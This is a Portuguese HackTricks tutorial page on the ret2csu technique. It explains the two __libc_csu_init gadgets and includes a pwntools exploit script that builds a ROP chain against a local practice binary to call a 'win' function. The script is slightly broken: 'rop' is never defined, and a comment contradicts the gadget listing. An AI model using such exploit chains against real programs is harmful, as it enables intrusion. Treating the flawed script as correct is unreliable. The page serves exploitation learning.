# Ret2csu
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Basic Information
**ret2csu** Ă© uma tĂ©cnica de hacking usada quando vocĂȘ estĂĄ tentando assumir o controle de um programa, mas nĂŁo consegue encontrar os **gadgets** que normalmente usa para manipular o comportamento do programa.
Quando um programa usa certas bibliotecas (como libc), ele possui algumas funçÔes embutidas para gerenciar como diferentes partes do programa se comunicam. Entre essas funçÔes, existem algumas joias escondidas que podem agir como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
### The Magic Gadgets in \_\_libc\_csu\_init
Em `__libc_csu_init`, hĂĄ duas sequĂȘncias de instruçÔes (nossos "gadgets mĂĄgicos") que se destacam:
1. A primeira sequĂȘncia nos permite configurar valores em vĂĄrios registradores (rbx, rbp, r12, r13, r14, r15). Esses sĂŁo como slots onde podemos armazenar nĂșmeros ou endereços que queremos usar mais tarde.
```armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
```
Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.
2. A segunda sequĂȘncia usa os valores que configuramos para fazer algumas coisas:
* **Mover valores especĂficos para outros registradores**, tornando-os prontos para usarmos como parĂąmetros em funçÔes.
* **Executar uma chamada para um local** determinado pela soma dos valores em r15 e rbx, e entĂŁo multiplicando rbx por 8.
```
mov rdx, r14;
mov rsi, r13;
mov edi, r12d;
call qword [r15 + rbx*8];
```
## Exemplo
Imagine que vocĂȘ quer fazer uma syscall ou chamar uma função como `write()`, mas precisa de valores especĂficos nos registradores `rdx` e `rsi` como parĂąmetros. Normalmente, vocĂȘ procuraria gadgets que configurassem esses registradores diretamente, mas nĂŁo consegue encontrar nenhum.
Aqui Ă© onde **ret2csu** entra em cena:
1. **Configurar os Registradores**: Use o primeiro gadget mĂĄgico para retirar valores da pilha e colocĂĄ-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
2. **Usar o Segundo Gadget**: Com esses registradores configurados, vocĂȘ usa o segundo gadget. Isso permite que vocĂȘ mova seus valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parĂąmetros para uma chamada de função. AlĂ©m disso, ao controlar `r15` e `rbx`, vocĂȘ pode fazer o programa chamar uma função localizada no endereço que vocĂȘ calcula e coloca em `[r15 + rbx*8]`.
VocĂȘ tem um [**exemplo usando essa tĂ©cnica e explicando aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este Ă© o exploit final que usou:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
Note que o exploit anterior não é destinado a fazer um **`RCE`**, ele é apenas para chamar uma função chamada `win` (pegando o endereço de `win` da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
{% endhint %}
### Por Que NĂŁo Usar Apenas a libc Diretamente?
Geralmente, esses casos tambĂ©m sĂŁo vulnerĂĄveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas Ă s vezes vocĂȘ precisa controlar mais parĂąmetros do que os que podem ser facilmente controlados com os gadgets que vocĂȘ encontra diretamente na libc. Por exemplo, a função `write()` requer trĂȘs parĂąmetros, e **encontrar gadgets para definir todos esses diretamente pode nĂŁo ser possĂvel**.
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}